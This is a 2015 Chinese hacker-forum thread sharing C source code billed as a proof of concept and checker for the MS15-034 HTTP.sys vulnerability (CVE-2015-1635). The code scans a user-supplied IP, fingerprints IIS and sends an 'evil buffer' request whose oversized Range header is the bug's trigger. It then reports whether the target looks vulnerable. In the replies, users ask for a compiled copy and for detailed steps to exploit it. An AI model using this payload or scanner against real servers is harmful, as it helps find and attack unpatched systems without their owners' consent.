查看: 40578|回复: 126

MS15-034 PoC HTTP.sys

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-4-16 17:31:56 | 显示全部楼层 |阅读模式
    CVE: 2015-1635

    [C] 纯文本查看 复制代码
    /*
     UNTESTED - MS15-034 Checker
        
     THE BUG:
      
        8a8b2112 56              push    esi
        8a8b2113 6a00            push    0
        8a8b2115 2bc7            sub     eax,edi
        8a8b2117 6a01            push    1
        8a8b2119 1bca            sbb     ecx,edx
        8a8b211b 51              push    ecx
        8a8b211c 50              push    eax
        8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here
      
        ORIGNAL POC: [url]http://pastebin.com/raw.php?i=ypURDPc4[/url]
      
        BY: [email]john.b.hale@gmai.com[/email]
        Twitter: @rhcp011235
    */
      
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <arpa/inet.h> 
      
    int connect_to_server(char *ip)
    {
        int sockfd = 0, n = 0;
      
         struct sockaddr_in serv_addr;
         struct hostent *server;
      
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
            {
                printf("\n Error : Could not create socket \n");
                return 1;
            }
      
        memset(&serv_addr, '0', sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
            serv_addr.sin_port = htons(80);
        if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
            {
                printf("\n inet_pton error occured\n");
                return 1;
            }
        if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
            {
                printf("\n Error : Connect Failed \n");
                return 1;
            } 
      
        return sockfd;
    }
          
      
    int main(int argc, char *argv[])
    {
        int n = 0;
        int sockfd;
        char recvBuff[1024];
      
        // Check server
        char request[] = "GET / HTTP/1.0\r\n\r\n";
      
        // our evil buffer
        char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
      
      
        if(argc != 2)
        {
            printf("\n Usage: %s <ip of server> \n",argv[0]);
            return 1;
        } 
      
        printf("[*] Audit Started\n");
        sockfd = connect_to_server(argv[1]);
        write(sockfd, request, strlen(request)); 
        read(sockfd, recvBuff, sizeof(recvBuff)-1);
      
        if (!strstr(recvBuff,"Microsoft"))
        {
            printf("[*] NOT IIS\n");
            exit(1);
        }
      
        sockfd = connect_to_server(argv[1]);
        write(sockfd, request1, strlen(request1));
        read(sockfd, recvBuff, sizeof(recvBuff)-1);
        if (strstr(recvBuff,"Requested Range Not Satisfiable"))
        {
                    printf("[!!] Looks VULN\n");
                    exit(1);
        } else if(strstr(recvBuff,"The request has an invalid header name")) {
        printf("[*] Looks Patched");
    } else
        printf("[*] Unexpected response, cannot discern patch status");
          
      
              
      
    }
     
    [2015-04-16]  #
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2024-4-30 11:48
  • 签到天数: 61 天

    [LV.6]常住居民II

    发表于 2015-4-16 18:52:06 | 显示全部楼层
    沙发  马上去试试
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2024-4-30 11:48
  • 签到天数: 61 天

    [LV.6]常住居民II

    发表于 2015-4-16 19:21:42 | 显示全部楼层
    求一份编译完的
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-4-24 14:55
  • 签到天数: 54 天

    [LV.5]常住居民I

    发表于 2015-4-18 02:47:18 | 显示全部楼层
    这个漏洞编译好了,怎么利用?小白求详细过程

    点评

    这是C语言代码么  详情 回复 发表于 2015-6-28 04:36
    发给我可好  详情 回复 发表于 2015-4-18 07:50
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2024-4-30 11:48
  • 签到天数: 61 天

    [LV.6]常住居民II

    发表于 2015-4-18 07:50:36 | 显示全部楼层
    2863482451 发表于 2015-4-18 02:47
    这个漏洞编译好了,怎么利用?小白求详细过程

    发给我可好
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-28 02:15:52 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-7-28 12:00
  • 签到天数: 22 天

    [LV.4]偶尔看看III

    发表于 2015-6-28 04:36:25 | 显示全部楼层
    2863482451 发表于 2015-4-18 02:47
    这个漏洞编译好了,怎么利用?小白求详细过程

    这是C语言代码么
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 00:33:26 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 11:47:05 | 显示全部楼层
    还是不错的哦,顶了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-30 00:19:21 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-25 09:09 , Processed in 0.022029 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部